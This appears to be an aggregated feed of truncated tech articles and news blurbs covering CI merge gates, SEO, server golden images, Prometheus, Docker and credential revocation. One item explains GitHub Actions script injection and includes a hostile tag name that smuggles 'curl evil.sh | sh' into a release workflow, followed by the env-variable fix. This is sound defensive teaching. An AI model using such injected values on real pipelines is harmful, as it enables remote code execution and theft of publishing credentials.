标签：#ev

The pattern AI coding agents are good at producing a diff that works in the narrowest sense — the function still returns what the test expects. What they're not reliably good at is preserving properties nobody wrote a test for in the first place. The two we kept running into: an authorization check quietly dropped during an agent-driven refactor (nothing failed, because no test covered who was allowed to call the route — only that the route worked), and a rewritten query that behaved fine against a small dev dataset and full-table-scanned the moment it hit production data. Neither shows up in CI as it exists today. Both show up in code review only if the reviewer happens to look at exactly the right five lines out of a few hundred. What we built Agent Code Merge Gate is a free GitHub Action, now live on the GitHub Marketplace , that runs on every pull request and scans the diff specifically for those two regression classes. It runs an offline heuristic pass (fast, no external call) plus one AI-backed pass for a short Executive Summary, and posts a single comment back to the PR that updates on every push rather than piling up duplicates. Deliberately narrow scope — it's not trying to be a general linter. It covers the two failure modes we found ourselves manually re-checking for once AI-generated PRs became the majority of our merge volume. Wiring it into CI Three lines in a workflow file: ​ - name : Agent Code Merge Gate uses : avalonlabs-platform/agent-code-merge-gate@v1.0.0 ​``` { % endraw % } No signup and no config needed for the default behavior. Two inputs worth knowing about : { % raw % } `fail-on-critical : true ` turns a CRITICAL finding into an actual failed check instead of just a comment, and `comment-on-pr : false ` if you'd rather build your own notification from the raw `status` output. ## What's next Right now it's diff-scoped — it sees what changed in this PR, not the whole repo's history of how that code got there, which limits how much context it

Ask any Go developer what a goroutine costs and you'll get the same answer with the exact byte count:...

The company won't say if medical devices are affected or if any customer data was exfiltrated.

The "everyday" GT3 delivers, despite looming regulations and an ever-inflating price tag.

Apple's next launch event will take place on September 9th at 1PM ET. Invites to the event, which has a "Surprise and shine" tagline, were sent out on Wednesday. The event will take place at the Steve Jobs Theater in Apple Park, but there will also be a livestream on Apple's website. September's show could […]

I thought publishing more useful content would automatically give my website more opportunities to rank. Then I noticed something uncomfortable. Two articles on my site were covering almost the same subject. Both were useful. Both were properly indexed. Both answered similar questions. And both were competing for overlapping search intent. I had accidentally created a small SEO architecture problem inside my own blog. I'm building "SabrTime.in" ( https://sabrtime.in/ ), a small Islamic companion app focused on practical digital tools for everyday worship. As a solo developer, I also manage the website, content, SEO, and product development myself. While working on the site's content, I published two articles around Tasbeeh: How to Do Tasbeeh — A Complete Guide Digital Tasbeeh Counter: How It Works & Why Muslims Are Switching The first article is about the practice itself. The second is supposed to be about the technology and use case of digital Tasbeeh counters. Sounds different enough, right? At first, I thought so too. But when I looked at the actual content and search intent, the overlap became obvious. The Problem Wasn't Duplicate Content This is where SEO gets misunderstood. Keyword cannibalization doesn't necessarily mean you have two pages containing identical paragraphs. The more interesting problem is intent overlap. If two URLs are trying to satisfy essentially the same searcher's question, a search engine has less information about which page should be the primary result. For example, imagine these two pages: /page-a "How to Do Tasbeeh" /page-b "Digital Tasbeeh Counter" Their titles are different. But if both pages explain: what Tasbeeh means how many times to recite it common Tasbeeh counts the same hadith how to count Tasbeeh why Muslims use a counter FAQs about Tasbeeh ...then the distinction between the pages starts becoming blurry. That was happening on my site. The two articles were not technically duplicates. But parts of their search intent were d

Golden Images How I Stopped Manually Logging Into Every New Server The problem Every time I spun up a new server for a service, it worked but it wasn't actually ready . There was always one manual step left: log in, run through some interactive setup, get the application into a working state. Only after that could the server actually do its job. For one server, that's a minor annoyance. For a fleet that's supposed to scale up and down on demand, it's a dealbreaker. You can't call something "automated provisioning" if a human still has to remote in and click through a setup wizard before it's usable. The fix: capture the setup once, replay it everywhere The pattern here is usually called a golden image and the idea is simple: instead of repeating a manual setup step on every new machine, do it once, capture the result of that setup, and have every future machine apply that captured state automatically during provisioning. Concretely, I built a small tool that: Connects to a machine that's already been through the manual setup and is in a known-good state. Packages up just the state that setup actually produced not the whole machine, just the specific files/config that resulted from the manual steps. Uploads that package to storage, versioned. Then the provisioning script for every new machine downloads that package and applies it automatically as part of boot no human, no remote session, no wizard. The mistake worth mentioning My first version of this captured too much. Instead of packaging just the setup-derived state, it grabbed an entire application data folder which included the application's own installed binaries, not just the configuration that setup had produced. That meant every new machine, when it applied the "golden" package, got its fresh application install silently overwritten with whatever binary version happened to be running on the machine I captured from. New servers ended up running an older version of the software than the one they'd just install

FromSoftware is hoping to make a splash on the Switch 2 later this year when it launches The Duskbloods, a gothic competitive multiplayer game that's unlike anything the studio has made before. But before that, Switch 2 owners have a chance to experience the studio's biggest hit for the first time thanks to a port […]

A solid observability setup usually comes down to three pieces working together: something that collects metrics, something that exposes system-level metrics, and something that visualizes it all. Here's what each one does and how to install them. The Theory: How This All Fits Together Before installing anything, it helps to understand the model, because it's a bit different from how logging or alerting tools usually work. Pull, not push. Most people's first instinct is "the app should send its metrics somewhere." Prometheus flips that around — it pulls metrics on a timer instead. Every target (a machine, a service, an app) exposes a simple HTTP endpoint, usually /metrics , that just returns plain text numbers. Prometheus visits that endpoint every N seconds (the "scrape interval") and saves whatever it finds, with a timestamp attached. Nothing gets pushed to Prometheus — Prometheus goes and asks. This means for anything to show up in Prometheus, it has to satisfy one requirement: something has to expose a /metrics endpoint Prometheus can reach. That's the whole game. Everything else in this stack exists to satisfy that one requirement or to make the data useful afterward. Why Node Exporter exists. Your operating system doesn't naturally speak Prometheus's language — it doesn't expose CPU/memory/disk stats as a /metrics endpoint by default. Node Exporter's only job is to read stats the OS already tracks (via /proc and /sys on Linux) and republish them in the text format Prometheus expects, on port 9100. It's a translator, not a monitoring tool by itself — it collects nothing, decides nothing, alerts on nothing. It just answers "what does this machine look like right now?" whenever asked. Why Prometheus itself is separate. Prometheus doesn't know anything about CPUs or memory — it has no idea what it's scraping. It just knows: "go hit this list of URLs on a schedule, and remember what comes back." The intelligence is in the config (which targets to scrape, how often)

DigitalOcean App Platform is a metered system charged by app; Peon provisions limitless services to your existing Droplet. A practical pricing and feature comparison. The same cloud, but two very distinct approaches. There are two methods of deploying your app with DigitalOcean, and the pricing disparity between the two may be much greater than you expected. App Platform is the managed PaaS service: you integrate with the code repository, and DigitalOcean provisions, deploys and maintains your app. The costs include monthly rates per component starting at $5 for web services plus separate payments for workers plus $7+ for a development database and $15+ for a production database. The alternative way is just a regular Droplet: either a $6 VPS (1 CPU, 1 GB) or a $12 VPS (1 CPU, 2 GB) with ability to run as many containerized apps as it has available resources. Traditionally, the droplet approach required self-managing your infrastructure, exactly what a platform like Peon fixes. Cost at small scale, with real numbers For example, take a regular indie/agency load of three small apps, shared Postgres, and Redis. In App Platform, this would cost about $37 a month, where three web services ($15), a managed dev database ($7), and Redis ($15) are the cheapest tier offerings (share CPU, limited to 512 MB memory). On one $12 Droplet using Peon, $12 for the Droplet, $6 for three projects running, all with access to 2 GB of memory plus. About $18 per month total, and the ability to use as much memory as the application needs (without being limited to 512 MB slices). And this ratio grows with every additional service, as the costs for the additional Droplet resources are already included. The fourth app on App Platform will add somewhere between $5 and $12 of the bill; on your own Droplet, $2. Comparison of features Push Git deployment: both, with build log Automatic HTTPS for custom domains: both Roll out and roll back with zero downtime: both Database support: App Platform nee

This is a follow-up to an article we published in The Hacker News introducing time to revoke as a critical CISO metric. This version provides a practical guide for measuring it across exposed secrets and non-human identities. 👉 TL;DR: Time to revoke is a security metric that measures how long an exposed credential remains usable after it has been confirmed valid. Measuring it requires teams to record when a credential is validated and when its invalidation is confirmed. From that baseline, CISOs can track median and P90 time to revoke, the percentage of exposed secrets revoked within SLA, owner coverage, the percentage that remain valid after detection, and the incidents that require manual escalation. Detection is not the same as credential revocation Detection tells you when a credential was found. A remediation ticket tells you when work was assigned or closed. Neither tells you whether the exposed access was fully neutralized. For leaked credentials, "Did we find it?" is the first question. "How long did it remain valid?" is just as important, if not more so. If a leaked API key, cloud credential, service account token, OAuth secret, private key, or database connection string is still valid, it is a point of ingress. Until it is revoked, rotated, or otherwise invalidated, it remains a path an attacker can use. Credential rotation only counts when the exposed credential is disabled, expired, or otherwise rendered unusable. That makes time to revoke a critical CISO metric. It connects detection to business risk by measuring the exposure window security teams need to close. What is time to revoke in secrets remediation? Time to revoke measures how long an exposed credential remains usable after it has been confirmed valid. Time to revoke = confirmed invalidation timestamp − validation timestamp The clock starts when the organization verifies that the credential works and stops when it confirms that the credential can no longer be used. Closing a ticket, deleting a

A program can produce the right answer and still contain work that does not help it reach that answer. Tests pass, the output looks correct, and unnecessary computations survive because they appear harmless. This becomes easier to miss in AI-generated code. A model can produce a plausible implementation in seconds, but plausible code often includes variables, conversions, or branches that the requirement never asked for. An intent alignment review adds one question to the usual correctness check: Does every instruction help achieve or explain the stated goal? This does not require a formal proof or an exhaustive line-by-line exercise. The useful result can be concise. Correctness and intent Correctness asks whether the observable behavior matches the specification. Intent alignment looks for code that contributes neither behavior nor useful clarity. The goal is not to produce the fewest possible lines. A named constant or helper function can be worthwhile even when the program could run without it. The concern is accidental complexity: code that suggests requirements or design decisions that do not actually exist. AI can help by reading the requirement and implementation together. It can confirm the working behavior, identify unnecessary instructions, and explain whether those instructions are harmful or simply unhelpful. A small Fibonacci example Consider this specification: The function should print to stdout the first hundred elements of the Fibonacci sequence. The phrase "first hundred" does not specify whether the sequence begins with 0, 1 or 1, 1 . For this review, we assume the intended convention begins with 0, 1 and prints one value per line. def print_fibonacci_100 (): a , b = 0 , 1 sequence_limit = 100 display_width = len ( str ( sequence_limit )) for index in range ( sequence_limit ): current_value = int ( a ) print ( current_value ) a , b = b , a + b checkpoint = ( index + 1 ) % 10 == 0 final_pair = ( a , b ) print_fibonacci_100 () Review The implementa

I published a post called "I Audited My Own Portfolio and Found 20 Problems" . It was an inventory: I went through my own site — a React 19 + Vite SPA with Sanity as the CMS — wrote down everything that was wrong with it, fixed what mattered, and put the before and after numbers next to each item. If you haven't read it, the only part that matters here is the methodology, and one line of it in particular: I went through the build output chunk by chunk in build/assets/ . I called that the step that hurts and the one most people skip. I still think that is true. It is also the step that guaranteed I would miss the largest thing wrong with the site. The step that worked Weighing the build output worked exactly as advertised. Finding 1 of that audit was an unoptimized PNG of a developer illustration on /gabriel-abreu , my contact page, 993 KB, sent to every visitor who landed there. It went to 23 KB. A second image, the cutout of me that sits in three different greetings, went from 358 KB to 45 KB. Those two are bundled assets. A component imports one: import p from " ../assets/developer-illustration.webp " ; Vite follows that import, hashes the file, and emits it into build/assets/ . After the build it is a file on disk with a size. Listing the directory finds it. Sorting the listing by size finds it first. There is no way to ship it and not have it show up in that step. So the method was sound within its domain: both of those images are bundled assets, and the step found both. On August 23 I opened the blog index in a browser and watched what it actually requested. Sixteen post covers, 9.88 MB. None of that could have appeared in the audit. Not because I was sloppy that day — because of where those bytes come from. Two lifecycles A bundled asset exists at build time. An import makes it a build input, the bundler makes it a build output, and anything that reads the build output sees it. A CMS image is never a build input. Nothing imports it. It arrives as a string in a

post 8: You run a container. It starts successfully. The application works. So… is it production-ready? Not necessarily. The real test of a production container isn't what happens when everything works. It's what happens when something goes wrong. What happens when the application consumes all available memory? What happens when the process crashes? What happens when the application is running, but isn't actually healthy? Where do the logs go? How do you know something is wrong before users tell you? And when the container fails, how do you find the actual cause? Running Docker in production isn't just about starting containers. It's about making them reliable, observable, manageable, and recoverable. 1. Production Starts With Boundaries A container that works perfectly on a developer's laptop can behave very differently under production load. Development often prioritizes: Speed Convenience Easy debugging Frequent changes Production prioritizes: Reliability Predictability Security Observability Recovery One of the first production questions is: What happens if this container consumes more resources than expected? That's where resource limits come in. 2. Resource Limits – Don't Let One Container Consume Everything Without appropriate resource limits, a container can consume more host resources than intended. For example: docker run \ --memory = 512m \ --cpus = 1.0 \ nginx This limits the container to: 512 MB memory 1 CPU Why does this matter? Imagine one application suddenly starts consuming several gigabytes of memory. Without appropriate limits, it could affect other workloads running on the same host. Resource limits create boundaries between workloads. But remember: A resource limit doesn't fix a memory leak. It only limits how much damage that container can cause to the host. So now we have another question: What if the container is running, but the application inside it is broken? 3. Health Checks – Running Doesn't Mean Healthy One of the most important produc

Bose QuietComfort headphones used to be innovative. Bose's noise-canceling research is the reason the technology is where it is today, and its headphones set the standard. They were the ubiquitous traveler's accessory. But over the past few years, it's felt like Bose has rested on that reputation, as other companies have caught up. Sony and […]

HelloFresh’s organic meal kit Green Chef offers transparent sourcing, layered cooking, and trustworthy gluten-free dishes.

Xbox and Ikea collab alert! This unique nine-piece collection for gamers arrives this fall and has a slew of Easter eggs.

A technically perfect app can still fail. It can have clean code, modern architecture, powerful APIs, and impressive features—and still leave users uninstalling it, abandoning transactions, or switching to a competitor. Because users don't experience your code.They experience the product. That is why developers and businesses need to look beyond functionality and ask a more important question: “Does this software make the user’s life easier?” The Real Cost of a Poor Digital Experience Customer expectations are rising quickly. According to PwC’s 2025 Customer Experience Survey, 70% of executives say customer expectations are evolving faster than their companies can adapt. Even more importantly, 29% of consumers said they stopped using or buying from a brand because of poor customer experience. That means a frustrating digital experience isn't simply a UX problem. It can become a business problem . A confusing checkout flow, slow screen, unnecessary registration step, broken search function, or poorly designed notification can turn a potential customer into a lost customer. And users rarely tell you exactly what went wrong. They simply leave. More Features Don't Always Mean More Value One of the biggest mistakes in software development is assuming that adding more features automatically makes a product better. It doesn't. Imagine an app with: 30+ features AI integration Multiple dashboards Complex personalization Advanced analytics …but users struggle to complete the one task they downloaded the app for. That's not innovation. That's friction. A better development approach starts with identifying the core user problem and then building around it. Before adding a feature, ask: What problem does this solve? If the answer isn't clear, the feature may not belong in the product. Performance Is Part of User Experience Developers often separate performance from UX. Users don't. To them, a slow API, delayed screen, frozen button, or failed transaction is simply a bad experien

There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins

Hello, I'm Maneshwar. I'm building git-lrc, a Micro AI code reviewer that runs on every commit. It is...